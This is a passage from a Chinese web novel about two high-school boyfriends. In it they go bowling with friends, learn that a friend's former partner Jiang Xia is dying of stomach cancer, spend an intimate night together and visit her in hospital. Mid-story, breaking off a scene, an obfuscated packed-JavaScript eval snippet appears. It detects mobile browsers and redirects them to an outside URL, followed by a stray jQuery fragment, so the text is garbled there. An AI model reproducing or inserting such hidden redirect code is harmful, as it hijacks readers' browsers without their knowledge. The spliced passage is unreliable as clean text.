她一边说,目光一边自然地扫过两人,随即眼尖地注意到陈温脚下缠着的绷带,眉头立刻蹙起,“你脚怎么了?受伤了?” “不小心摔了一跤,”陈温摆摆手,试图显得轻松,“没多大事,过两天就好了,哈哈。” 陆晚枝看他这过于乐观的样子,有点无奈,但也不好再追问。 她目光无意间上移,瞧见陈温唇边水渍未干,痕迹清晰……再结合他略显凌乱的头发、身后那个存在感极强的沈同学,以及两人之间那种微妙的气氛——一个念头电光石火般闪过。 她没直接点破伤口,反而眉毛微挑,目光在两人之间转了个来回,语气带着点了然和调侃:“谈恋爱了?” 陈温的脸“腾”地一下就红了,像被亲姐姐发现自己早恋一样。 他下意识想否认,却在陆晚枝洞悉的目光下没了底气,最后不好意思地“嗯”了一声,算是承认。 陆晚枝笑了笑,没再多问细节,只是像往常一样叮嘱了几句,温和却认真地说:“谈了就好好谈,两个人在一起,贵在坦诚和互相体谅。” “有什么事情别自己硬扛,但也别仗着对方喜欢就任性。高三了,学业和感情要平衡好,知道吗?” 陈温红着耳朵点头,沈泽许也在他身后,认真地应了一声。 陈温悄悄瞪了沈泽许一眼,心想:你瞎应什么?这一应,不是显得我俩此地无银三百两吗! 陆晚枝将两人的小动作尽收眼底,觉得有趣,又追问了一句:“什么时候开始的?该不会……上次一起吃烧烤的时候就有苗头了吧?” “不是那时候……”陈温耳根发烫,声音越来越小,“还要……再往后一点……” “行,不管什么时候,开始了就要认真对待。”陆晚枝收敛了笑意,神情变得温和而认真,目光在两人身上停留,“你们选择了彼此,这很勇敢。但正因如此,你们要清楚,这条路可能会比普通人更难走一些。” “外面的世界,不是所有人都能理解和接受。现实的压力,有时候比感情本身的问题更消耗人。” “如果决定要走下去,就要有一起面对困难的心理准备,并且,要保护好自己,无论是感情上,还是实际上。” 她的语气很缓,没有恐吓,只有基于现实的、沉甸甸的提醒。 “知道了没有?” 陆晚枝的话句句在理,陈温正要点点头应一声“好”,沈泽许却突然有了动作。 他伸手,轻轻握了一下陈温的手腕,像是无声的安抚,然后转向陆晚枝,神情是从未有过的认真。 “我向您保证。您说的,我们都记下了。有我在,就不会让他一个人面对那些‘难’。” 55. 她(三) 陆晚枝请了几天假外出散心,似乎仍难放下江夏。临走前,她把猫咪大少托付给陈温照顾几天。 “交给你啦,它有点怕生,但跟你还算熟。”陆晚枝蹲下身,摸了摸大少的头,猫咪蹭起她的手,喵呜了一声,像是不舍。 看着这一幕,陈温轻笑说:“晚枝姐,你放心去玩,大少交给我。你也要照顾好自己哦。” “你也是,考试加油。” - 一个月的时间转瞬即逝,紧张的期末考试终于落下帷幕。 教室里弥漫着一种虚脱又亢奋的复杂空气——有人已经开始热烈讨论假期去哪玩,犒劳自己连日复习的辛劳;也有人三五成群,拿着试卷对答案,不时发出懊恼或庆幸的惊呼。 “嗷呜——!当时我就该相信自己的第一感觉!烦‘死’了!居然改错了。”叶萧云撑在课桌上,对着试卷答案哀嚎。 “你自己非要凑过去对答案的,”李欣桐在一旁毫不留情地吐槽,“这不是纯纯找虐吗?” “就是,对什么答案啊,考完就解放了!不如想想等会儿去哪儿放松。”林宇舟一边把书本胡乱塞进书包,一边大声加入话题,“难得这么早放学又没作业。” 几人在陈温座位前聊得热火朝天。听到“去哪儿玩”,他也不由得认真思考起来。 确实,因为备考,还有膝盖的结痂,他已经很久没和沈泽许好好出去约会了。 “要不……去保龄球馆怎么样?”叶萧云瞬间把懊恼抛到九霄云外,眼睛发亮,“感觉一个世纪没碰保龄球了,再不打技术该‘生锈’了!” “我看行!”林宇舟附和道,“人多热闹!李欣桐,你们姐俩来不来?” “老样子,我姐去我就去。”李欣桐把决定权抛给李清依。 被点到名字的李清依原本正望着窗外发呆,听到有人叫她,愣了一下,才回过神来,有些茫然地“啊?”了一声,然后才反应过来是在问去不去玩,于是说:“我……我没什么意见,看大家。” “那就这么定了!”林宇舟见她没意见,立即高兴地拍板,还把胸脯拍得砰砰响,说:“今天本少爷心情好,我来请客!” 他转向后排的另外两位:“老沈,陈温,你们呢?一起啊!” 陈温用眼神询问一旁的沈泽许。 两人难得有约会时间,是要拒绝朋友,还是干脆就和大家一起玩。怎么办?怎么选? 沈泽许接收到了,却故意曲解,面无表情地撇清关系:“想去就去,不用看我。” 陈温气结,还没来得及说话,叶萧云和林宇舟已经化身“人形挂件”贴了上来,一个卖萌一个耍赖,软硬兼施: “温温!一起去嘛!求你了!” “陈温同学,集体活动需要你的参与!” 双拳难敌四手,陈温的“抗议”被无情镇压,最终只能投降:“行行行,去,去还不行吗?” 而沈泽许这个“罪魁祸首”,不仅不帮忙解围,还双手插兜,好整以暇地在一旁看着,嘴角甚至带着点看热闹的笑意。 - 保龄球馆宽敞明亮,光滑的球道泛着冷光,尽头是白色的球瓶阵。 沉闷的滚动声后,便是球瓶清脆的散落声与欢呼。 几人在保龄球馆玩得不亦乐乎。 林宇舟架势十足却总在最后关头手滑,球歪歪扭扭滚进边沟。 引得叶萧云在一旁拍腿大笑,毫不留情地揭短:“‘描边大师’林宇舟!你这球是装了GPS吗?专找边沟跑!” 林宇舟顿时恼羞成怒,涨红了脸吼道:“叶萧云!你给我站住!” “不跑的是猪!”叶萧云早有准备,话音未落就撒丫子绕着球道后端跑开。 两人一个追一个逃,笑骂声在馆内回荡,直到被一脸严肃的工作人员出声警告,才互相做了个鬼脸,偃旗息鼓。 而李欣桐姿势标准,成绩稳定,颇有几分高手风范;李清依有些拘谨,但每次出手后,无论击倒几个,都会露出腼腆而开心的笑容。 陈温没玩过保龄球,拿着沉甸甸的球有些无从下手。他学着别人的样子,拙劣地摆好姿势,球总是不听话地滚向一边。 沈泽许不知何时走到了他身后,声音贴近他耳畔,压过了周围的喧闹:“手腕别太僵。” 陈温感觉到沈泽许的手轻轻扶了一下他的肘关节,体温透过薄薄的校服面料传来。 “重心压低,看着前方,别盯着球。”沈泽许的声音很低,带着一种指导时的平静耐心,“出手的时候,顺着这个方向,像这样——” 他没有真正代劳,只是虚虚地比划了一个流畅的推送轨迹。 陈温依言调整,深吸一口气,将球掷出。 这一次,球笔直地滚向球道中央,虽然力度稍欠,只击倒了七八个瓶,但已是巨大的进步。 球笔直地滚出,虽然力道稍欠,但路线精准,哗啦一声撞倒了七八个球瓶。 “嗯,这次很好。”沈泽许的声音从后方传来,是客观的评价。 然后,在陈温回头看向他的刹那,沈泽许的嘴唇似乎极快地动了一下,一句轻得不能再轻的、带着亲昵笑意的气声飘了出来:“真棒……宝宝。” 那声音轻得几乎要被球馆的喧嚣吞没,像微小电流,精准地钻进陈温的耳朵,让他整个脊背都酥麻了一瞬。 他握着拳庆祝的动作僵了一下,耳根以肉眼可见的速度染上薄红,目光也撞进了沈泽许含着笑意的眼眸里。 那人却已恢复了一脸平静,仿佛刚才那句石破天惊的昵称只是陈温的幻觉,只有微微上扬的嘴角,泄露了一丝得逞的坏心。 “当然,也不看看我是谁。”陈温被那声低语弄得耳根发烫,心里像揣了只兔子,表面却强装镇定地扬起下巴。 他需要一点空间来消化这份突如其来的亲密,也想证明自己真的能行。 “我、我先自己练一会!你别跟过来啊!” 说完,他抱起一颗保龄球,特意挑了个离沈泽许稍远的球道,试图专注于动作。 就在他调整呼吸,准备再次投球时,旁边球道两个青年的对话,不经意地飘进了他的耳朵。 一个人的声音压得极低,带着明显的小心和为难:“那个……王哥,上次我借你那三千块钱,你看方不方便……最近我手头也有点紧。” 被称为“王哥”的人声音立刻提高了些,充满了不悦:“啧,不就三千块钱吗?催什么催!至于这么小气吗?我又不是不还你!” “不是的王哥,我真的求你了……”青年的声音染上压抑的哭腔,透出深深的疲惫,“我姐在医院,等着钱救命。上次那三千,你说周转开就还,可现在……我实在是没办法了,求你先还我一部分行吗?哪怕三百、五百也行!” 另一人立刻把音调拔高,充满了被“冒犯”的夸张不满:“三千块!就为了三千块钱你跟我在这儿没完没了?咱们这么多年交情,我是什么人你不清楚?” “我是那种欠钱不还的人吗?现在你姐姐病了,我理解,可你也不能眼里就只剩下钱吧?一点人情味儿都不讲了,真让人寒心!” 有钱打保龄球,没钱还债,真是无语…… 陈温觉得自己来错了地方,正想不动声色地抱着球离开。 那两人的争执却愈发激烈,忽然,那个欠钱不还的人猛地推了青年一把! 青年猝不及防,向后踉跄几步,直直朝着陈温的方向倒来。陈温下意识扔开保龄球,张开手臂,险险将人扶住。 混乱中,男生手里一叠单据没抓稳,滑落出来,散在陈温脚下。 再抬头,那个嚣张跋扈的“老赖”便不见踪影。 青年站稳后,惊魂未定地说着“不好意思”。 “没事,那个人不像会轻易罢休的样子。”陈温压低声音,快速说道,“刚才他推你,我看见了。如果你需要报警或者留个证据,我可以作证。我们要不加个微信?有事你随时可以联系我。” “真的不用了……谢谢你。”男生摇了摇头,笑容有点勉强,似乎不想给陌生人添麻烦,只想快点离开这是非之地。 陈温没再说什么,只是点了点头。他低头帮忙去捡地上的单据,目光扫过最上面那张缴费单的姓名栏时,动作猛地僵住——江夏。 两个字像针一样扎进他的视线。 心脏猛地一沉,他迅速捡起其余几张,快速扫过——诊断书、费用清单……每一张上都印着那个熟悉又令人心悸的名字。 他抬起头,看向眼前焦急又狼狈的青年,急切地问:“江夏是……你姐姐?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171988|196843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 青年愣了一下,连忙点头,眼圈瞬间红了:“是,我姐她……” 陈温将单据仔细叠好,塞回青年手中,打断了他的话:“别跟那个人纠缠了,没用的。我们加个微信,你姐的事……或许我能帮上点忙,或者,至少能告诉我到底发生了什么。” 在短暂的时间里,两人互报了身份和信息。 零零散散的片段,逐渐拼合成一个并不完整却足够惊心的故事——江夏,胃癌晚期。 眼前这个满眼血丝、狼狈不堪的青年,是她的亲弟弟,江尘。 陈温的脑海如同被一道闪电劈开——那天在医院安全通道里,和江夏面对面站着的那个高大男生,是他!根本不是什么“男朋友”。 所以说,没有新恋情,没有移情别恋,只有一个女孩在生命悬崖边,用最决绝的方式,将她最在乎的人用力推开,只为让他们能“安心”地走向没有她的未来。 这个认知让陈温感到一阵冰冷彻骨的震动。 所有的猜测、陆晚枝的黯然、他们之前的唏嘘……都建立在这样一个巨大而悲伤的谎言之上。 真相如同沉重的巨石砸在心头,可下一秒,一个更冰冷的事实让陈温的心脏猛地往下一沉——陆晚枝这几天去度假放松了,手机一直是关机状态! 完了。 他刚刚窥见这场悲剧残酷的真相,找到了关键的人,却偏偏在最需要联系、最需要告知另一个当事人的时刻,被一道无形的屏障隔绝。 江夏的状况、江尘的无助、陆晚枝被蒙在鼓里的痛苦……所有的一切都因为此刻的“失联”而悬在半空,滑向最令人焦灼的未知里…… 多么讽刺,偏偏是他这个局外人,知晓了全部的秘密。 话已至此,两人相对无言,只剩下一声沉重的叹息。 江尘没能讨回欠款,加了男生的微笑,低声对他说:“……我再想想别的办法。回头……如果方便的话,我们再联系。” 陈温点点头,看着江尘转身融入人群的背影,只觉得心里堵得厉害。 他像一具被抽走了魂的空壳,脚步虚浮地、近乎本能地飘回了林宇舟他们所在的那条热闹球道。 陈温刚靠近那区域,就感到一道目光牢牢锁定了自己。 抬眼望去,沈泽许似乎刚忙完什么,正站在不远处,静静地看着他。 那眼神没有什么特别的温度,却像能穿透他勉力维持的平静表象,直抵内里的紊乱。 沈泽许没说什么,只是迈步走了过来,在周围朋友的说笑玩闹声中,将陈温自然地带离了人群中心一点。 “怎么了?”沈泽许的声音在耳边响起,不高,却像一根定海神针。 陈温抬起头,对上沈泽许沉静的眼眸。 他不是别人,他是沈泽许。 这个念头让陈温紧绷的神经稍微松弛了一些,他需要有人知道,需要有人和他一起承担这个突然压下来的“秘密”。 他深吸一口气,用只有两人能听到的音量,快速而清晰地讲述了刚才发生的一切,像是在搬开一块压在胸口的石头,而沈泽许的沉默倾听,成了他此刻唯一可靠的支撑。 沈泽许听完,脸上没什么波澜,只是握着他的手微微收紧了些。 “先别慌。”男生的声音总是带着一种能让人镇定下来的力量,“现在慌没有用。陆晚枝关机,我们暂时联系不上,这是客观情况。但事情已经知道了,就不是无解。” 他略一思索,条理清晰地分析道: “第一,这件事超出了我们的年龄和能力该独自处理的范围,但既然撞上了,就不能装作不知道。” “我们要跟江尘保持联系,了解他们是需要钱,还是医疗资源,还是其他的帮助?搞清楚这个,我们才能想具体办法,哪怕只是很小的帮助。” “第二,陆晚枝那边,她总要开机。等她回来,或者我们能联系上她的时候,必须把真相告诉她。但怎么说,什么时候说,需要斟酌。贸然告知冲击太大,我们先想好怎么沟通。” “第三,”他看向陈温,目光沉稳,“这件事分量太重,别想着一个人扛。告诉我,是对的。我们慢慢来,一件一件处理。” “而现在,先回去把球打完,别让林宇舟他们看出异常。等结束了,我们再仔细想想。” 56. 有点可爱 回去的路上,陈温还是闷闷不乐,心里像是塞满了湿透的棉花,沉甸甸地坠着。 一种难以言喻的憋闷感堵在胸口——上天似乎给了他一颗过于容易感知他人苦痛的心,却没有同时赋予他足以应对这些苦难的能力。 实际上,他还只是个被困在课桌与试卷之间、连自己未来都尚未看清的高中生。 这种清醒的认知,比单纯的悲伤更让人感到无力。 沈泽许一直盯着陈温的侧脸。那张平常总带着点鲜活神气的脸,此刻像蒙了层阴云,好看的眉头拧成一小团,连颜色都显得淡了些,紧紧地皱着。 他没说话,侧过身,在陈温毫无防备的情况下,低头,嘴唇轻轻碰了碰他紧蹙的眉心。 温软的触感像带了微电流,一下子将那团郁结“亲”得松动了。 “你做什么?弄我额头。”陈温猛地回过神,注意力被这突如其来的偷袭彻底分散,他下意识捂住额头,耳朵尖有点红,压低声音挑剔道,“还在路上呢……被林宇舟他们看到了怎么办?” “亲你怎么了?”沈泽许瞥他一眼,语气淡然,仿佛在讨论天气,“你眉头皱得能夹死苍蝇,看着烦。我帮你熨平。” 不可理喻! 陈温被他这明目张胆又强词夺理的“熨平”理论弄得脸腾地一下更红了,一半是羞的,一半是气的。 他瞪了那人一眼,从鼻腔里重重地“哼”出一声,脚下一转,竟加快脚步,头也不回走到了前面,把沈泽许一个人丢在了原地——他也没追上来。 那背影分明写着“我现在不想理你”,可那发热的耳廓,却泄露了截然不同的心情。 走回原先的球道,正好看见叶萧云正在“大显身手”。 他一个颇为花哨的360度转身,借势将球抛出,结果力道和角度全失,那保龄球飞出去的样子活像只脱手的咸鱼拖鞋,“啪嗒”一下落在球道边上,有气无力地滚过去,稀稀拉拉,碰倒了五个球瓶。 “噗——!”旁边的李欣桐第一个没忍住,笑出了声。 林宇舟更是直接拍着大腿,一边笑一边竖起大拇指,声音洪亮:“牛!太牛了叶萧云!你这‘旋风咸鱼’打法,真是让我大开眼界!保留了娱乐性,完全放弃了竞技性!” 原本还有些低落的陈温看着这滑稽的一幕,和朋友们不加掩饰的笑闹,胸口那股闷气不知不觉也散了,嘴角勾起个无奈的弧度。 “哎!陈温你杵那儿当门神呢?快过来!”林宇舟眼尖,发现了他,咋咋呼呼地招呼道,“你看到没?看到没?刚刚叶子那招‘咸鱼翻身’,简直是保龄球界的泥石流!笑死我了!” 被这气氛感染,陈温忍不住又跟着笑起来,顺着林宇舟的话调侃道:“看到了,叶萧云真不是一般人。”在叶萧云期待“夸奖”的目光中,他补上后半句,“是‘二班’人。” “噗——!” “哈哈哈哈二班人!” 李欣桐和李清依顿时笑出声,林宇舟更是唯恐天下不乱地重复:“对对对!二班的叶大师!失敬失敬!” 叶萧云被集体“围攻”,脸顿时垮了下来,把手里剩下的保龄球往架子上重重一放,转过身去,背对着大家,肩膀一耸一耸:“哼!连陈温都欺负我!我不玩了!你们玩吧!” “呀,真生气了?”李欣桐看着叶萧云气鼓鼓的背影,小声问,“我们玩笑是不是开太过了?要不要去哄哄?” “没事,不用管他。”林宇舟摆摆手,一副“我太了解他了”的表情,“他啊,就是一时面子挂不住。等会儿自己憋不住,转个身就忘了。不信你看着。” 林宇舟说完,当真不再理会那边独自“疗伤”的叶萧云,转头兴致勃勃地当起了李清依的“私人教练”。 实际上,叶萧云这回是真有点生气了。 每次都拿他当开心果,开玩笑没个限度,他也要面子的好不好! 他梗着脖子,胸口堵着一小团棉花,憋着一口气,等着看谁会第一个忍不住来哄他。 结果,过了好一会儿,身后别说安慰了,连个脚步声都没有。 他忍不住偷偷转动眼珠,用余光瞥去——李欣桐在另一边的休息区刷手机,神态放松。陈温站着没动,盯着手机不知道在想什么。 而他的“好兄弟”林宇舟,正站在李清依身后,手把手地调整她的姿势,两人挨得挺近,说说笑笑。 重色轻友!叶萧云在心里咬牙切齿,林宇舟你耳朵红什么红!有没有点出息! 唉,烦死了,根本没人注意他……欢笑是他们的,热闹是他们的,他就不应该在这里,应该在车顶——像个被遗忘在角落的透明人,连空气都绕着走。 叶萧云气鼓鼓地环视一圈,忽然发现少了个人。沈泽许呢?那个总是没什么存在感却又让人无法忽视的家伙,又跑哪儿去了? 想到这里,突然有人从后面拍了拍他的肩膀。 叶萧云心里那点小委屈顿时消散不少——哼,总算有人想起我了!但他决定不能这么轻易“原谅”他们,必须摆出态度。 于是他梗着脖子,坚决不回头,也不吭声,维持着“我很生气”的背影。 那人又坚持不懈地拍了拍。 叶萧云内心有点动摇,但面上还是绷着:再坚持一下!至少得让他们说点好听的! “冰淇淋不要了?” 声音清清冷冷,像夏天里突然涌出的一眼甘泉——是沈泽许!说曹操曹操就到! 叶萧云脑子里那点“高贵冷艳”的计划瞬间灰飞烟灭,他“唰”地一下转过身,眼睛“噌”地亮了,脸上绽开一个大大的笑容,忙不迭点头:“要要要!沈哥!我要!我太需要了!” 这天气虽然不算冷,但玩了一会儿确实有点燥热,这支冰淇淋简直是天降救赎! 刚才那点微不足道的小脾气全被叶萧云抛到了九霄云外,开心地接过沈泽许手里的冰淇淋,迫不及待撕开包装袋,幸福地咬了一大口。 “谢谢沈哥,你人真好~”叶萧云含混不清地感激,心情肉眼可见地由多云转晴。 “嗯,不客气。”沈泽许淡淡地回了一句,没再多说,朝其他人那边走去。 “冰淇淋!?”眼尖的李欣桐第二个发现他,目光落在他手里提着的那个鼓鼓囊囊的红色塑料袋上。 “嗯,”沈泽许将袋子放在一旁的休息桌上,“要什么口味?自己过来拿。” 里面不仅有常见的牛奶、巧克力味,还有水果味的冰棒和几盒迷你杯,显然是考虑了不同喜好。 林宇舟和李清依闻言也停下了教学,凑了过来。 冰淇淋如同一种无声的黏合剂,将各自分散的注意力重新聚拢,刚才那点小小的不愉快,在分享冷饮的简单快乐中,无声抹去了。 沈泽许退开几步,让其他人先挑。 他抬眼一扫,正好对上陈温的目光。对方像被烫到似的,下一秒就飞快地低下头,假装研究起手机,就是不肯看他。 沈泽许挑起一边眉毛,径直走了过去,停在他面前。 “生气了?”他压低声音问。 “没有。”陈温闷闷地否认,头埋得更低。 “那怎么不来吃冰淇淋?”沈泽许微微俯身,去看他的眼睛,“没你喜欢吃的口味?” “不是……” “那是什么?”沈泽许不依不饶,声音里带着点探究,非要问出个所以然。 陈温被他逼得没办法,终于抬眼飞快地瞟了他一下,又立刻垂下眼帘,声音小得像蚊子哼哼:“为什么……不是先给我挑……” 没想到是这个答案。 沈泽许愣了一下,随即眼底掠过一丝极淡的笑意——有点可爱。 “我不是神仙,也没有读心术,”他耐心地解释,语气放缓,“你不说,我怎么知道你要什么?”他顿了顿,故意问道,“何况,连朋友的醋你也吃?” “才没有……”陈温耳根发热,自己也觉得这理由站不住脚。 叶萧云也是他好朋友啊,难道真是自己对沈泽许的占有欲太强了?这认知让他更窘了。 被他说得有点不好意思,陈温只好嘟囔着转移话题:“我……我哪知道你会买……之前给你打电话你也没接。” “手机没带在身上,”沈泽许朝存放物品的方向扬了扬下巴,“跟朋友出来玩,我一般不看手机。”像是解释一个再自然不过的习惯,“出来就是为了放松玩的,一直盯着屏幕没意思。” 他说得理所当然,仿佛这是天经地义的事。 这种近乎“离线”的状态,倒是很符合沈泽许一贯的风格——做什么就全心投入什么。 陈温被他这么一说,倒觉得自己之前那点联系不上的焦急有点小题大做了。 “好吧……” “那要什么口味的?”沈泽许不再逗他,声音恢复了一贯的平静,“我亲手给你拿过来?” “……不用了,”陈温说,“我自己来。” 男生挑了个哈密瓜味的冰淇淋,撕开包装。 清甜的瓜香混合着奶味涌出,陈温舔了一口,上面的巧克力脆块和花生碎在舌尖融化,带来丰富的口感,让他惬意地眯了眯眼。 冰淇淋吃完,球也打得尽兴了,几人准备打道回府。 陈温小口吃着冰淇淋,看林宇舟一边帮李清依拿外套,一边还在回味自己某个“差点全中”的球。叶萧云早就忘了之前的“二班人”事件,正缠着李欣桐分析她最后那局的高分技 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但此刻,友情的喧闹、冰淇淋的甜味、还有身边人传来的稳定温度,像一层薄而韧的膜,暂时将那些沉重隔开,给了他一个可以喘息的夜晚。 街灯渐次亮起,照亮了归途。少年们的身影,慢慢融入了城市的灯火之中。 - 推开家门,玄关的阴影尚未散去,陈温甚至没来得及转身关门,就被一股不容抗拒的力道揽了过去,紧接着,两片唇瓣便覆了上来。 这个吻来得凶猛又失控,瞬间夺走了陈温的氧气。 他被亲得晕头转向,只能从喉间溢出两声含糊的呜咽,手指揪紧沈泽许背后的衣料,勉强腾出一点理智,用眼神示意——门、门还没关! 沈泽许接收到了他慌乱的眼神,却并未立刻离开,只是就着亲吻的姿势,长腿向后一伸,鞋尖在门板上轻轻一磕——“咔哒”一声轻响,门被轻巧地带上了。 随即,那吻变得更加深入,将最后一点顾虑也彻底吞噬。 两人跌跌撞撞地挪到沙发上,沈泽许低头,牙齿轻轻衔住陈温因情动而上下滚动的喉结。 就在这时,一声绵软又清晰的—— “喵~” 像一道小小的惊雷,劈开了满室旖旎。 两人动作同时一僵,齐齐转头——只见茶几上,不知何时醒来的大少正端正地蹲坐着,一边慢条斯理地舔着前爪上的毛,一边用那双圆溜溜的、仿佛洞察一切的猫眼,静静地看着他们。 “……差点把它给忘了。”陈温从情热中猛然清醒,有些无奈地推了推沈泽许,声音还带着点哑。 沈泽许抬起头,看向那只“不速之客”,大少也毫不畏惧地回视,甚至还歪了歪头。 “起来……没看到有‘人’在吗?不是,有猫在吗?”陈温语无伦次。 沈泽许低笑了一声,气息拂过他颈侧:“你怕它看?” “才不是呢……”陈温耳根发热,“就是……被一只猫这么盯着亲,感觉好奇怪……” 好像他们是什么奇怪的现场表演一样。大少又“喵”了一声,仿佛在表示非常赞同。 “它应该是饿了,我给它弄点猫粮。”陈温说着就要起身。 但腰刚抬起一点,就被沈泽许一把揽了回去,跌回他怀里。 “先喂我,别管它,”沈泽许的声音贴着他耳廓,带着点不满的沙哑,“不给它看就行了。”他顿了片刻,提醒道,“你回来路上,答应我的……” 那不是被你蹭得受不了,随口应下的吗?怎么还当真了!陈温被他蹭得耳根发软,又惦记着可能饿肚子的猫,简直头疼。 “行行行!”他妥协道,干脆自欺欺人地伸出手,手掌竖起,挡在了自己和沈泽许的脸侧,恰好隔开了大少好奇的视线。 这样总行了吧? 他侧过头,继续和沈泽许接吻,余光却瞥见大少因为视线被挡,不解地歪了歪脑袋,换了个角度试图“观摩”。 陈温觉得好笑,一边吻着,一边忍不住笑场,手也跟着猫咪脑袋的转动方向挪动,坚持为两人营造一个“视觉屏障”。 “认真点。”沈泽许低声抗议,对他不断飘向猫咪的注意力表示不满。 最终,他失去耐心,一把将陈温打横抱起,大步走向卧室,用脚带上了门,将那个锲而不舍的“小观众”彻底隔绝在外。 然而,没过两分钟,门外就传来了“刺啦——刺啦——”有规律的、坚持不懈的挠门声,清晰地穿透门板——大少可没像他们在外面吃过饭,它是真饿了。 一声声可怜兮兮的猫叫,提醒着他们:外面还有个嗷嗷待哺的小生命,而他们这对“不负责任”的临时监护人,正在里面“不务正业”。 57. 她(四) 陈温被沈泽许伺候按了会那只受伤的腿,其实早就不疼了,但这几天一有空沈泽许就要给他按。 反正……还挺舒服的。陈温就随他去了。 两个人在里面没待多久,毕竟外面还有只嗷嗷待哺的猫主子要伺候。 陈温找出猫粮袋,刚拿出来,大少就馋得两眼放光,亦步亦趋地绕着他的小腿打转,喵喵叫得又软又急。 撒上猫粮,大少立刻埋头苦干,吃得呼噜作响,尾巴满足地晃来晃去。 沈泽许也从卧室出来,靠在门框上,看着蹲在地上摸猫的陈温,说:“我今晚就不走了。” “嗯,”陈温头也没抬,手指挠着大少的下巴,叹了口气,“你妈啥时候回来啊……” 随即他站起身,看见沈泽许还杵在原地没动。想起回来时在楼下吃的烧烤,两人身上都是一股油烟味。 “还不去洗?”他故意板起脸,“不洗澡别想上我的床。” 沈泽许低笑一声,走近两步,说:“但是没衣服换啊。” “不关我事,”陈温移开视线,无情道:“自己想办法。” “行,”沈泽许懒洋洋地补充了一个极具画面感的选项,“那就光着。” “你敢!”陈温立刻回头,耳根微红,“那叫耍流氓!” “那怎么办?”沈泽许好整以暇地看着他。 陈温被他看得没了脾气,终于放弃“刁难”,朝卧室抬起下巴:“自己去看衣柜。” 沈泽许这才转身进去,显然早就预料到这个结果。 陈温听着衣柜门被拉开的声音,看着脚边埋头苦吃的大少,轻轻“哼”了一声,嘴角却不自觉地弯了起来。 沈泽许洗完,陈温才进去。 热水冲刷掉一天的疲惫和烧烤的烟火气,换上带着清甜桂花香的沐浴露——和沈泽许用的是同一款,所以出来时,两人身上散发着相同的气息,交融在小小的空间里。 这样的日子,平淡得近乎琐碎,却让人心里涌起一种踏实的满足感,仿佛他们真的已经同居,分享着同一盏灯,同一种味道。 陈温推开卧室门,暖黄的床头灯光下,沈泽许正靠在那里,手里拿着他放在床头柜上的书——余华的《活着》。 男生骨节分明的手指轻轻捏着书页,神情专注。 灯光柔和地勾勒出他深邃的侧脸轮廓,长长的睫毛在眼下投出小片阴影,竟有一种圣像般静谧又难以捉摸的温柔。 听见动静,沈泽许抬起头,合上书放回原处,然后拍了拍身边空出的位置,示意他过去。 陈温走过去,钻进被窝。 有那么一瞬间,他望着沈泽许近在咫尺的侧脸,心像被温热的糖浆包裹,柔软而坚定地想:这个人是属于他的。 是此刻的恋人,也会是将来的家人。 他们可以就这样,在无数个相似的夜晚依偎,偶尔斗嘴,时常分享惊喜,而后一起,把漫长的日子过得短一点,再短一点。 “一直盯着我做什么?”沈泽许察觉到陈温一瞬不瞬的目光,侧过头问道。 “想你了。”陈温回答得理直气壮,声音闷在被子里,带着点撒娇的鼻音。 沈泽许失笑,指尖拨弄了一下他露在外面的发梢:“我们好像没分开吧?一直在同一个屋檐下。” “不管。”陈温从被子里伸出一只手,勾了勾手指,示意他靠近,“过来。” 沈泽许从善如流地俯下身,凑近他。 陈温却忽然把半个脑袋都缩进了被子,只从边缘露出一双亮晶晶的、盛满了羞涩的眼睛,看着近在咫尺的沈泽许,声音透过柔软的织物传出来,有些模糊,却每一个字都滚烫: “沈泽许,我真的好喜欢你啊。” - 又过了几天,陆晚枝的假期似乎被无限拉长,手机依旧处于关机状态。江尘那边在最初几次交流后也再无音讯。 就在陈温以为事情会继续悬置下去时,江尘的消息猝不及防地跳了出来。 「江尘:我姐发现我们认识了……」 「我也不知道她怎么就知道了,反正就是这样了。」 「她想让你过来一趟,你看方便吗?」 消息来得突然,带着一种“终于来了”的预感。 今天恰好是返校拿成绩单和假期作业的日子,纷乱又平常。 陈温看着手机屏幕,一时有些茫然。 他不知道江夏为什么会突然要见他们,更不知道面对一个可能已知晓生命期限的人,自己该说什么。 但他没有迟疑太久。有些事,知道了就无法装作不知道;有些人,遇见了就不能转身离开。 深吸一口气,陈温在键盘上敲下回复: 「温馨提示:方便。今天中午拿完成绩单就过去。」 怀着忐忑的心情,陈温将江尘的信息告诉了沈泽许。沈泽许只是微皱起眉,没有多问,看完江尘发来的地址后,只说了三个字:“我陪你。” 出租车在医院门口停下。消毒水味混杂着人来人往的嘈杂,让陈温的心瞬间沉到了谷底。 他感到一种混合着恐惧、悲伤和不知所措的复杂情绪,像要被迫去揭开一个他尚未准备好面对的、残酷的真相。 越靠近那间病房,脚步就越是沉重。 走廊被无限拉长,白墙和指示牌透着冰冷的意味。 他的腿像灌了铅,每一步都像踩在粘稠的阻力里,艰难得几乎要迈不开。 短短一段路,走得煎熬无比。 终于到了病房门口。他停下,深吸一口气,看向身旁的沈泽许。 沈泽许没说什么,抬手,极轻地按了一下他的肩膀。 陈温点点头,像是从这份沉默的力量里汲取了一点勇气。他最后看了一眼门上的号码,转动门把,独自走了进去。 病房里阳光出奇地好,大片大片的暖金色铺洒进来,有些晃眼。 这是个三人间,江夏的病床在最里面。 靠门的床上,一位病人正背对着门小憩;中间那张床最为热闹,家属正旁无他人地和病人说着什么,声音高亮,也不知那位闭目养神的大爷是如何入睡的。 陈温挪着步子,提着在路上买的水果,穿过这片混合着消毒水味和人间声响的区域,终于走到了最里侧。 他缓缓抬起头。 映入眼帘的,是一张苍白得近乎透明的脸,被洁白的枕头衬得几乎没有血色。 唯有嘴唇上,涂着一点不算鲜艳、却明显是精心描画过的口红。 见他看来,江夏对他露出了一个微笑。 那笑容很温和,甚至带着点安抚的意味,可眼角的细纹和眉宇间挥之不散的疲惫,却泄露出这份刻意维持的从容之下,深不见底的虚弱。 眼前的景象让陈温喉头一哽,视线瞬间模糊。他用力咬了下口腔内侧,才勉强稳住气息,走到床边,唤道:“江夏姐……” 江夏微笑着,拍床边的长椅:“坐呀。带了什么好吃的来看我?”语气轻松得像是在家中闲聊。 